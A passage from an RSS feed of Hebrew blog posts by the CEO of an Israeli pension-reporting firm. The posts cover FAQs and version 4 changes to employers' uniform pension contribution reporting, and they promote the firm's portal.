• לא ניתן להשיב תשלום שהופקד ביתר &#8211; בוצע ניוד<br />
• החזר למעסיק בגין תשלום פרמיית א.כ.ע בעודף</p>
<p><span style="text-decoration: underline;"><strong>אילו אפשריות קיימות עבור ביצוע תשלום לקופות ?</strong></span></p>
<ul>
<li>העברה בנקאית</li>
<li>הרשאה לחיוב חשבון על בסיס קובץ הדיווח</li>
<li>סליקה באמצעות מס&#8221;ב</li>
<li>סליקה באמצעות המסלקה הפנסיוניות</li>
<li>הוראת קבע</li>
</ul>
<p><span style="text-decoration: underline;"><strong>מעסיק בטעות ביצע תשלום נמוך לקופה מסוימת ולאחר שראה שעשה טעות ביצע השלמה , בתוכנת השכר ניתן להכניס רק אסמכתא אחת ותשלום אחד לאותה קופה , איך עליי לדווח ?<br />
</strong></span>יש לדווח כאילו בוצע תשלום אחד , הכסף לא יילקט באופן אוטומטי וזה יופיע בהיזון ( משוב ) של הקופה ואז יטופל בהתאם</p>
<p><span style="text-decoration: underline;"><strong>עובד חדש שהגיע המועד לבצע לו תשלום ודיווח לפנסיה ולא העביר פרטי קופה או שאין לו קופה, מה עלי לעשות ?<br />
</strong></span>בשביל מצב כזה קיימת קרן פנסיה ברירית מחדל , על המעסיק לבחור אחת מארבעת קרנות הפנסיה שנבחרו במכרז שבוצע ע&#8221;י רשות שוק ההון וכל מה שצריך זה לדווח ולשלם לעובד לאותה קופה , אין צורך טפסי הצטרפות</p>
<p>אשמח לענות על כל שאלה נוספת: <a href="mailto:info4u@ok-pension.co.il">info4u@ok-pension.co.il</a></p>
<p>ירון הרן – מנכ&#8221;ל עוקץ פנסיה</p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2023/04/16/%d7%a9%d7%90%d7%9c%d7%95%d7%aa-%d7%95%d7%aa%d7%a9%d7%95%d7%91%d7%95%d7%aa-%d7%a9%d7%9b%d7%99%d7%97%d7%95%d7%aa-%d7%91%d7%a2%d7%a7%d7%91%d7%95%d7%aa-%d7%9b%d7%a0%d7%99%d7%a1%d7%aa-%d7%9e%d7%a2%d7%a1/">שאלות ותשובות שכיחות בעקבות כניסת מעסיקים עם 3 עובדים ומעלה לחובת הדיווח במבנה אחיד</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></content:encoded>
							<wfw:commentRss>https://okneto.co.il/2023/04/16/%d7%a9%d7%90%d7%9c%d7%95%d7%aa-%d7%95%d7%aa%d7%a9%d7%95%d7%91%d7%95%d7%aa-%d7%a9%d7%9b%d7%99%d7%97%d7%95%d7%aa-%d7%91%d7%a2%d7%a7%d7%91%d7%95%d7%aa-%d7%9b%d7%a0%d7%99%d7%a1%d7%aa-%d7%9e%d7%a2%d7%a1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>כניסת חובת הדיווח במבנה אחיד עבור מעסיקים עם 3 עובדים ומעלה</title>
		<link>https://okneto.co.il/2023/01/24/%d7%9b%d7%a0%d7%99%d7%a1%d7%aa-%d7%97%d7%95%d7%91%d7%aa-%d7%94%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%91%d7%9e%d7%91%d7%a0%d7%94-%d7%90%d7%97%d7%99%d7%93-%d7%a2%d7%91%d7%95%d7%a8-%d7%9e%d7%a2%d7%a1%d7%99/</link>
				<comments>https://okneto.co.il/2023/01/24/%d7%9b%d7%a0%d7%99%d7%a1%d7%aa-%d7%97%d7%95%d7%91%d7%aa-%d7%94%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%91%d7%9e%d7%91%d7%a0%d7%94-%d7%90%d7%97%d7%99%d7%93-%d7%a2%d7%91%d7%95%d7%a8-%d7%9e%d7%a2%d7%a1%d7%99/#respond</comments>
				<pubDate>Tue, 24 Jan 2023 13:18:17 +0000</pubDate>
		<dc:creator><![CDATA[ירון הרן, מנכ"ל עוקץ פנסיה]]></dc:creator>
				<category><![CDATA[פנסיה וגמל]]></category>

		<guid isPermaLink="false">https://okneto.co.il/?p=4642</guid>
				<description><![CDATA[<p>ב 19/02/2023 ייכנסו למעגל חובת הדיווח האחיד גם מעסיקים עם 3 עובדים ומעלה. חובת הדיווח האחיד עבור מעסיקים מעל 100 עובדים ומעלה חלה בינואר 2016, ומאז נכנסו לתוך מעגל חובת הדיווח עוד ועוד מעסיקים. בחודשים האחרונים קיימנו הדרכות בזום עבור כל אותם מייצגים שיש להם לקוחות עם 3 עובדים ומעלה וזאת על מנת שהכניסה לדיווח [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2023/01/24/%d7%9b%d7%a0%d7%99%d7%a1%d7%aa-%d7%97%d7%95%d7%91%d7%aa-%d7%94%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%91%d7%9e%d7%91%d7%a0%d7%94-%d7%90%d7%97%d7%99%d7%93-%d7%a2%d7%91%d7%95%d7%a8-%d7%9e%d7%a2%d7%a1%d7%99/">כניסת חובת הדיווח במבנה אחיד עבור מעסיקים עם 3 עובדים ומעלה</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></description>
								<content:encoded><![CDATA[<p><span data-contrast="auto">ב 19/02/2023 ייכנסו למעגל חובת הדיווח האחיד גם מעסיקים עם 3 עובדים ומעלה.<br />
חובת הדיווח האחיד עבור מעסיקים מעל 100 עובדים ומעלה חלה בינואר 2016, ומאז נכנסו לתוך מעגל חובת הדיווח עוד ועוד מעסיקים. </span><span id="more-4642"></span></p>
<p><span data-contrast="auto">בחודשים האחרונים קיימנו הדרכות בזום עבור כל אותם מייצגים שיש להם לקוחות עם 3 עובדים ומעלה וזאת על מנת שהכניסה לדיווח האחיד תהיה להם קלה</span><span data-contrast="auto">, </span><span data-contrast="auto">נוחה ומוצלחת.<br />
</span><b><span data-contrast="auto">בנוסף פיתחנו בעוקץ פנסיה עבור כל אותם מייצגים, מודול הרשמה וקליטת לקוחות באופן פשוט ומהיר כך שמייצג יכול להקים עשרות לקוחות תוך דקות ופשוט לדווח. </span></b><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">ב 02/02/2023 לשכת רו&#8221;ח מקיימת כנס מיוחד עבור רו&#8221;ח, בדיוק על נושא זה, לקראת כניסת מעסיקים מעל 3 עובדים ומעלה לדיווח האחיד. כמובן שגם אנחנו בעוקץ פנסיה נדריך את רו&#8221;ח, יחד עם רשות שוק ההון.  </span><span data-contrast="auto"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<p><span data-contrast="auto">היום, כבר ניתן לומר בוודאות שכל אותם עובדים שנמצאים תחת מעסיקים, שמדווחים במבנה אחיד, הזכויות הפנסיוניות שלהם נשמרות במלואם והקצבה שתהיה להם תהיה הרבה יותר מדויקת וללא פגיעה! להבדיל מהדיווח שהיה נהוג לפני הדיווח האחיד.</span></p>
<p><span style="text-decoration: underline;">להלן מספר סיבות מרכזיות ליתרונות הדיווח האחיד :</span><span style="text-decoration: underline;"> </span></p>
<p><b><span data-contrast="auto">הבקרה :</span></b><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<ol>
<li><span data-contrast="auto">בקרה בזמן אמת, מערכת התראות עד 7 ימים עבור כסף שלא נקלט, טיפול בבעיה תוך מספר ימים ושמירה על זכויות העובדים</span><span data-contrast="auto"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li><span data-contrast="auto">המערכת יודעת בכל רגע ורגע איפה הכסף של כל עובד ועובד וזאת עד לקליטת הכספים בתוכניות העובד </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li><span data-contrast="auto">גם כאשר הכסף נקלט קיימת התראה ככל שהוא נקלט אבל לא בהתאם לתנאי הפוליסות של העובד, כלומר מעסיק אינו מדווח בהתאם לתנאי הפוליסות של העובד, טיפול בזמן אמת ושמירה על זכויות העובד </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li><span data-contrast="auto">בקרה עבור שיעור כיסוי ביטוחי לרכיב אובדן כושר עבודה , מעסיק המחויב ע&#8221;פ צו הרחבה לפנסיה חובה לבטח את העובד לרכיב אובדן כושר עבודה בשיעור של 75% מהשכר הקובע של העובד, לא מעט עובדים יש להם שיעורים הרבה יותר נמוכים ( התחילו עם 75% עם השנים הכיסוי הלך וירד) עד הדיווח האחיד ( גרסה 4 ) לא היה ניתן לדעת זאת, היום קיימת התראה בזמן אמת וע&#8221;י כך מצילה את העובד ושומרת על המעסיק מפני חשיפה </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li><span data-contrast="auto">התראה על עליית שיעור העלות לרכיב אובדן כושר עובדה לפחות 3 חודשים לפני כן </span> <span data-contrast="auto">( מניעת חובת וכסוי ביטוחי בחוסר)</span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ol>
<p><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559685&quot;:360,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span><b><span data-contrast="auto">פשטות הדיווח עבור מייצג של מעסיקים קטנים</span></b><b><span data-contrast="auto">   :</span></b><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></p>
<ol>
<li><span data-contrast="auto">אזור אישי קל ונוח לדיווח בלחיצת כפתור עבור כל הלקוחות שלו ועבור כל הקופות , כלומר עבור כל מעסיק </span><b><span data-contrast="auto">קובץ אחד לכל הקופות</span></b><span data-contrast="auto"> </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li><span data-contrast="auto">הבקרה מתבצעת במקום אחד וע&#8221;י המערכת , המייצג כבר לא מוצף , כפי שהיה בעבר, במכתבי חוב שנשלחים הן ע&#8221;י הקופות והן ע&#8221;י העובדים , החזרי כספים שהוא לא ביקש , תלונות של העובדים למעסיק שאין הפקדות למרות שהמעסיק הפקיד ( כספים עברו אבל לא למקום הנכון , אין בקרה בזמן אמת , כסף מוחזר ע&#8221;י הקופות ) </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li><span data-contrast="auto">דוח עזר ל 161 בלחיצת כפתור באזור האישי של המעסיק , לא צריך יותר </span> <span data-contrast="auto">לרדוף אחר סוכני ביטוח ו/או מוקדנים של קופות </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li><span data-contrast="auto">יתרות פיצויים לסוף שנה בלחיצת כפתור , מענה תוך מספר ימים ( 95% מהקופות כבר באותו יום ) והכל בדוח אקסל אחד עבור כל הקופות ( קל ונוח לבצע בדיקות ) לא צריך יותר  לרדוף אחר סוכני ביטוח ו/או מוקדנים של קופות </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li><span data-contrast="auto">אישורי מס לסוף שנה עבור הפקדות מעסיק בלחיצת כפתור באזור האישי של המעסיק , לרדוף אחר סוכני ביטוח ו/או מוקדנים של קופות </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li><span data-contrast="auto">פרטי קופה של עובד חדש , במקום לרדוף אחר עובדים חדשים שיעבירו את פרטי הקופות שלהם ( גם שמקבלים מהם הרבה פעמים קשה להבין איפה באמת הקופה שלהם , האם קרן פנסיה מקיפה , משלימה ואולי ביטוח מנהלים או קופת גמל ? ) בנוסף את פרטי חשבון הבנק לא תמיד מקבלים ואם מקבלים הם לא תמיד נכונים , את כל זה ניתן לקבל בלחיצת כפתור באזור האישי שלכם </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
<li><span data-contrast="auto">דוחות הפקדה ( סטטוס קליטת כספים ) בלחיצת כפתור באזור  האישי כולל הפקת דוח אקסל לביצוע בדיקות </span><span data-ccp-props="{&quot;201341983&quot;:0,&quot;335559739&quot;:160,&quot;335559740&quot;:259}"> </span></li>
</ol>
<p><b><span data-contrast="auto">לסיכום, </span></b><span style="text-decoration: underline;">דיווח אחיד במערכת המותאמת לכם, המייצגים, תחסוך לכם שעות עבודה, תגן על הלקוח שלכם (המעסיק) וכמובן תשמור על זכויות העובדים שלו</span>. כבר היום נהנים מהמערכת של עוקץ פנסיה עשרות מייצגים אשר מדווחים עבור מאות לקוחות שלהם כולל לקוחות עם עובדים בודדים (למרות שעד היום לא היו מחויבים לכך). חשוב להדגיש שהאינטרס היחידי שלנו הוא לשמור עליכם המייצגים, על הלקוחות שלכם ועל זכויות העובדים שלהם &#8211; זאת להבדיל מלא מעט גורמים בעולם הפנסיוני, שהאינטרס שלהם אחר לגמרי ולא כולל בתוכו, לצערנו, שמירה עליכם ו/או על הלקוחות שלכם.</p>
<p>שתהיה לכולנו כניסה קלה מהירה ומוצלחת לחובת הדיווח במבנה אחיד .</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2023/01/24/%d7%9b%d7%a0%d7%99%d7%a1%d7%aa-%d7%97%d7%95%d7%91%d7%aa-%d7%94%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%91%d7%9e%d7%91%d7%a0%d7%94-%d7%90%d7%97%d7%99%d7%93-%d7%a2%d7%91%d7%95%d7%a8-%d7%9e%d7%a2%d7%a1%d7%99/">כניסת חובת הדיווח במבנה אחיד עבור מעסיקים עם 3 עובדים ומעלה</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></content:encoded>
							<wfw:commentRss>https://okneto.co.il/2023/01/24/%d7%9b%d7%a0%d7%99%d7%a1%d7%aa-%d7%97%d7%95%d7%91%d7%aa-%d7%94%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%91%d7%9e%d7%91%d7%a0%d7%94-%d7%90%d7%97%d7%99%d7%93-%d7%a2%d7%91%d7%95%d7%a8-%d7%9e%d7%a2%d7%a1%d7%99/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>גרסה 4 למבנה האחיד- ממשק מעסיקים, מה למדנו לאחר חודשיים של דיווחים?</title>
		<link>https://okneto.co.il/2022/07/20/%d7%92%d7%a8%d7%a1%d7%94-4-%d7%9c%d7%9e%d7%91%d7%a0%d7%94-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9e%d7%9e%d7%a9%d7%a7-%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%9e%d7%94-%d7%9c%d7%9e%d7%93%d7%a0/</link>
				<comments>https://okneto.co.il/2022/07/20/%d7%92%d7%a8%d7%a1%d7%94-4-%d7%9c%d7%9e%d7%91%d7%a0%d7%94-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9e%d7%9e%d7%a9%d7%a7-%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%9e%d7%94-%d7%9c%d7%9e%d7%93%d7%a0/#respond</comments>
				<pubDate>Wed, 20 Jul 2022 11:06:51 +0000</pubDate>
		<dc:creator><![CDATA[ירון הרן, מנכ"ל עוקץ פנסיה]]></dc:creator>
				<category><![CDATA[פנסיה וגמל]]></category>

		<guid isPermaLink="false">https://okneto.co.il/?p=4270</guid>
				<description><![CDATA[<p>לאחר לא מעט דחיות ושינויים סוף סוף גרסה 4 למבנה האחיד -ממשק מעסיקים נכנסה לתוקף ב 22/05/2022 , גרסה זו כוללת לא מעט שינויים ושיפורים וזאת במטרה לגרום לכך ששיעור הכספים שנקלטים באופן אוטומטי ישאף ל 100% וכן אופן הקליטה שלהם יהיה יותר מדויק וכך לא ייפגעו זכויות החוסכים. בנוסף מטרה לא פחות חשובה של [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2022/07/20/%d7%92%d7%a8%d7%a1%d7%94-4-%d7%9c%d7%9e%d7%91%d7%a0%d7%94-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9e%d7%9e%d7%a9%d7%a7-%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%9e%d7%94-%d7%9c%d7%9e%d7%93%d7%a0/">גרסה 4 למבנה האחיד- ממשק מעסיקים, מה למדנו לאחר חודשיים של דיווחים?</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></description>
								<content:encoded><![CDATA[<p>לאחר לא מעט דחיות ושינויים סוף סוף גרסה 4 למבנה האחיד -ממשק מעסיקים נכנסה לתוקף ב 22/05/2022 , גרסה זו כוללת לא מעט שינויים ושיפורים וזאת במטרה לגרום לכך ששיעור הכספים שנקלטים באופן אוטומטי ישאף ל 100% וכן אופן הקליטה שלהם יהיה יותר מדויק וכך לא ייפגעו זכויות החוסכים.<span id="more-4270"></span></p>
<p>בנוסף מטרה לא פחות חשובה של גרסה 4 היא לשפר את השקיפות של קליטת הכספים עבורכם המעסיקים ובכך לאפשר לכם להגיב בזמן אמת עבור כל אותם בעיות שבגינם הכספים לא נקלטו</p>
<p>במאמר זה אבצע סקירה קצרה איך החודשיים תחת גרסה 4 עברו ומה למדנו עד כה:</p>
<p><strong>שגיאות טכניות בהפקת הקובץ האחיד מתוכנת השכר </strong></p>
<p>בחודש הדיווח הראשון כ 90% מהקבצים שדווחו דרך עוקץ פנסיה נפלו כתוצאה משגיאות טכניות , בחודש הדיווח <strong>השני פחות מ 5%</strong></p>
<p>הסיבות לכך ששיעור כה גבוה של קבצים נפלו בחודש הדיווח הראשון :</p>
<ul>
<li>לא עודכן סלולרי של איש קשר מעסיק</li>
<li>לא עודכן טלפון קווי של איש קשר מעסיק</li>
<li>לא עודכן נייד תקין של עובד</li>
<li>לא עודכנה כתובת מייל תקינה של עובד</li>
<li>דווח סכום תשלום לא בהתאם לסכום הדיווח</li>
</ul>
<p>הסיבות לכך שבחודש הדיווח השני שיעור הקבצים שנפלו טכנית <strong>ירד מ 5%</strong> :</p>
<ul>
<li>כיוון שבחודש הראשון תוקנו הנתונים בתוכנת השכר אזי הם ירוצו קדימה</li>
<li>פותחו בעוקץ פנסיה מנגנוני התראה לפני שהקובץ מדווח , לדוגמה אם קיים סלולר של עובד לא תקין , כאשר מעסיק מעלה את קובץ הדיווח באזור האישי שלו בפורטל עוקץ פנסיה המערכת מבצעת בדיקה באותו רגע שולחת לו התראה איזה עובדים עליו לתקן</li>
<li>פותחו מנגנונים אוטומטיים , לדוגמה אם מעסיק מדווח תשלום בפועל שאינו בהתאם לדיווח ( לא תקין טכנית ) אזי המערכת מעדכנת זאת באופן אוטומטי , ככל שבאמת מעסיק שילם לא בהתאם לדיווח אזי תגיע התראה במסגרת ההיזון המסכם</li>
</ul>
<p>לסיכום החלק הטכנית , המערכת התייצבה ואף היום ניתן להגיד בוודאות שהיא מתקדמת יותר</p>
<p><strong>דיווח שלילי- בקשה להחזר תשלום על הפקדה ביתר</strong></p>
<p><strong>חשוב לשים לב!! </strong></p>
<ul>
<li><strong>הוגשה בקשה להחזר לאחר 9 חודשים ממועד הפקדת הכספים המקורית לקופה</strong>, יצרף מעסיק אישור חתום ע&#8221;י העובד במסגרתו העובד מסכים להשבת התשלום למעסיק</li>
<li>במקרה בו הגשת בקשה להחזר היא בעקבות הסכם קיבוצי בו הוסכם על השבת תשלום אזי אין צורך בתצהיר עובד , יש צורך בתצהיר של הארגון היציג</li>
</ul>
<p><strong>נוסף שדה חדש</strong> , שדה זה לא היה קיים עד כה ומגרסה 4 <strong>אתם חייבם לדווח בדיווח השלילי את סיבת הבקשה</strong> להחזר הכספים , <strong>לא ניתן לדווח דיווח שלילי ( בקשה להחזר או בקשה לביטול תנועה ללא בקשת החזר ללא ציון סיבה )</strong></p>
<p>סיבת בקשה להחזר כספים</p>
<p><span style="text-decoration: underline;">ערכים:</span></p>
<ul>
<li>תשלום ביתר לעובד לאחר עזיבת עבודה</li>
<li>סוג מוצר שגוי</li>
<li>הפקדה לעובד שגוי</li>
<li>הפקדה בגין חודש שכר שגוי</li>
<li>תיקון טעות בחישוב השכר</li>
<li>הפקדה לחברה מנהלת לא נכונה</li>
<li>עובד עבר לקופת גמל אחרת</li>
<li>הסכם קיבוצי</li>
<li>הפקדה ביתר לרכיב</li>
<li>החזר למעסיק בגין תשלום פרמיית א.כ.ע בעודף</li>
</ul>
<p><strong>דיווח שוטף</strong></p>
<p>דיווח עובד קיים לקרן פנסיה ברירת מחדל:</p>
<p><strong>שימו לב !! מדובר רק על עובד קיים לא עובד חדש </strong></p>
<ul>
<li>עובד <strong>קיים</strong> של מעסיק מבקש להצטרף לקרן ברירת מחדל, בהתאם להוראות חוזר הצטרפות לקרן פנסיה או לקופת גמל יש לצרף תצהיר עובד- נספח ז</li>
</ul>
<p><strong>היזון מסכם</strong></p>
<p>צפי לשינוי אובדן כושר עבודה</p>
<p><strong>לקוחות שמתופעלים דרך עוקץ פנסיה ככל שקיימים עובדים שיש להם הפרשה לאובדן כושר עבודה אז נתקלו בהתראה הנ&#8221;ל , מדובר בהתראה מאד חשובה כיוון מגרסה 4  ניתן לדעת גם את שיעור הכיסוי עבור ביטוח אובדן כושר עבודה וככל שהעובד מבוטח בחסר יש לטפל בזה ( המיילים הנ&#8221;ל נשלחים מאיתנו לסוכני הביטוח ואתם מכותבים ) , בנוסף הקופה מחויבת לעדכן לגבי שינוי בעלות אובדן כושר עבודה לפחות 3 חודשים לפני </strong></p>
<ul>
<li>שיעור כיסוי אכע</li>
<li>שיעור הפרשה עתידי</li>
<li>תאריך עדכון צפוי</li>
<li>סיבת עדכון התעריף</li>
</ul>
<p><span style="text-decoration: underline;">פרטי סוכן הביטוח :<br />
</span>ככל שקיים לעובד סוכן ביטוח הקופה תדווח במסגרת ההיזון המסכם את פרטיו של סוכן הביטוח</p>
<p><strong>לקוחות שמתופעלים דרך עוקץ פנסיה רובם כבר נתקלו במייל שנשלח מאיתנו ישירות לסוכן הביטוח , כלומר אם בעבר כיוון שלא היה לנו את כתובת המייל של סוכן הביטוח אזי המייל נשלח אליכם , מגרסה 4 ככל שהקופה מדווחת את כתובת המייל של סוכן הביטוח , שגיאה שהיא באחריותו נשלחת אל סוכן הביטוח  ואתם , המעסיקים , מכותבים למייל זה על מנת שיהיה לכם תיעוד </strong></p>
<ul>
<li>שם בעל רישיון</li>
<li>כתובת דוא&#8221;ל &#8211; בעל רישיון</li>
</ul>
<p><span style="text-decoration: underline;">סטטוס חובות:<br />
</span>הקופה תדווח במסגרת ההיזון המסכם השוטף סטטוס חובות ככל שקיימים באותו חודש רמה של עובדים</p>
<ul>
<li>חודש שכר אחרון בו הועבר תשלום</li>
<li>מספר חודשי חוב לעובד</li>
<li>א. ככל שלא הועבר תשלום או דיווח כלשהו ביחס לאחד מעובדי המעסיק בתקופת הדיווח;<br />
ב. ככל שלא הועבר תשלום לפוליסת א.כ.ע של עובד המשולמת על ידי המעסיק;<br />
יובהר כי ככל שהועבר דיווח על ידי מעסיק על הפסקת ההפקדה לרבות סיבת ההפסקה (כדוגמת עזיבת עבודה/חל&#8221;ד/חל&#8221;ת) אין להעביר דיווח בבלוק זה.</li>
</ul>
<p>כפי שניתן לראות בוצעו לא מעט שינויים ושיפורים חשובים מאד אך יחד עם זאת הצלחת הגרסה החדשה תלויה בכל אותם אנשי המקצוע ( חשבי וחשבות השכר , רו&#8221;ח , יועצי מס וכל מי שעוסק בדיווח עצמו ) שיילמדו ויתמקצעו בגרסה החדשה.</p>
<p><strong>הצלחת הגרסה החדשה זה אומר קליטה טובה יותר של הכספים ולכן שמירה על זכויות החוסכים ( העובדים ) מה שיוביל בסופו של דבר ליציאה לפנסיה עם מלוא הזכויות וקצבה שתשמור על רמת חיים נאותה בשנות הפנסיה.</strong></p>
<p><strong>אנחנו בעוקץ פנסיה נמשיך לקיים הדרכות בנושא ונשמח אם תשתתפו ( אין חובה להיות לקוח בעוקץ פנסיה בשביל להשתתף , ניתן להירשם באתר עוקץ פנסיה ).</strong></p>
<p>שיהיה לכולנו המשך דיווח קל ומדויק.</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2022/07/20/%d7%92%d7%a8%d7%a1%d7%94-4-%d7%9c%d7%9e%d7%91%d7%a0%d7%94-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9e%d7%9e%d7%a9%d7%a7-%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%9e%d7%94-%d7%9c%d7%9e%d7%93%d7%a0/">גרסה 4 למבנה האחיד- ממשק מעסיקים, מה למדנו לאחר חודשיים של דיווחים?</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></content:encoded>
							<wfw:commentRss>https://okneto.co.il/2022/07/20/%d7%92%d7%a8%d7%a1%d7%94-4-%d7%9c%d7%9e%d7%91%d7%a0%d7%94-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9e%d7%9e%d7%a9%d7%a7-%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%9e%d7%94-%d7%9c%d7%9e%d7%93%d7%a0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>גרסה 4 למבנה האחיד- ממשק מעסיקים , האם אתם מוכנים ?</title>
		<link>https://okneto.co.il/2022/05/25/%d7%92%d7%a8%d7%a1%d7%94-4-%d7%9c%d7%9e%d7%91%d7%a0%d7%94-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9e%d7%9e%d7%a9%d7%a7-%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%94%d7%90%d7%9d-%d7%90%d7%aa%d7%9d/</link>
				<comments>https://okneto.co.il/2022/05/25/%d7%92%d7%a8%d7%a1%d7%94-4-%d7%9c%d7%9e%d7%91%d7%a0%d7%94-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9e%d7%9e%d7%a9%d7%a7-%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%94%d7%90%d7%9d-%d7%90%d7%aa%d7%9d/#respond</comments>
				<pubDate>Wed, 25 May 2022 08:56:46 +0000</pubDate>
		<dc:creator><![CDATA[ירון הרן, מנכ"ל עוקץ פנסיה]]></dc:creator>
				<category><![CDATA[פנסיה וגמל]]></category>

		<guid isPermaLink="false">https://okneto.co.il/?p=4125</guid>
				<description><![CDATA[<p>לאחר לא מעט דחיות ושינויים נראה כי סוף סוף גרסה 4 למבנה האחיד -ממשק מעסיקים תיכנס לתוקף ב 22/05/2022 , גרסה זו כוללת לא מעט שינויים ושיפורים וזאת במטרה לגרום לכך ששיעור הכספים שנקלטים באופן אוטומטי ישאף ל 100% וכן אופן הקליטה שלהם יהיה יותר מדויק וכך לא ייפגעו זכויות החוסכים בנוסף מטרה לא פחות [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2022/05/25/%d7%92%d7%a8%d7%a1%d7%94-4-%d7%9c%d7%9e%d7%91%d7%a0%d7%94-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9e%d7%9e%d7%a9%d7%a7-%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%94%d7%90%d7%9d-%d7%90%d7%aa%d7%9d/">גרסה 4 למבנה האחיד- ממשק מעסיקים , האם אתם מוכנים ?</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></description>
								<content:encoded><![CDATA[<p>לאחר לא מעט דחיות ושינויים נראה כי סוף סוף גרסה 4 למבנה האחיד -ממשק מעסיקים תיכנס לתוקף ב 22/05/2022 , גרסה זו כוללת לא מעט שינויים ושיפורים וזאת במטרה לגרום לכך ששיעור הכספים שנקלטים באופן אוטומטי ישאף ל 100% וכן אופן הקליטה שלהם יהיה יותר מדויק וכך לא ייפגעו זכויות החוסכים<span id="more-4125"></span></p>
<p>בנוסף מטרה לא פחות חשובה של גרסה 4 היא לשפר את השקיפות של קליטת הכספים עבורכם המעסיקים ובכך לאפשר לכם להגיב בזמן אמת עבור כל אותם בעיות שבגינם הכספים לא נקלטו</p>
<p>במאמר זה אני רוצה לשים זרקור על מספר שינויים חשובים בגרסה 4 :</p>
<p><strong>דיווח שלילי- בקשה להחזר תשלום על הפקדה ביתר</strong></p>
<ul>
<li>הצהרה שנתית – תצהיר מאומת ע&#8221;י עו&#8221;ד , יוגש לכל הפחות לקופה אחת לשנה</li>
<li>הוגשה בקשה להחזר לאחר 9 חודשים ממועד הפקדת הכספים המקורית לקופה, יצרף מעסיק אישור חתום ע&#8221;י העובד במסגרתו העובד מסכים להשבת התשלום למעסיק</li>
<li>במקרה בו הגשת בקשה להחזר היא בעקבות הסכם קיבוצי בו הוסכם על השבת תשלום אזי אין צורך בתצהיר עובד , יש צורך בתצהיר של הארגון היציג</li>
<li>כספים יוחזרו ע&#8221;פ הערך הנומינלי</li>
<li>לא ניתן להחזיר כספים באמצעות המחאה</li>
</ul>
<p>נוסף שדה חדש , שדה זה לא היה קיים עד כה ומגרסה 4 תצטרכו לדווח בדיווח השלילי את סיבת הבקשה להחזר הכספים</p>
<p>סיבת בקשה להחזר כספים</p>
<p>ערכים:</p>
<ul>
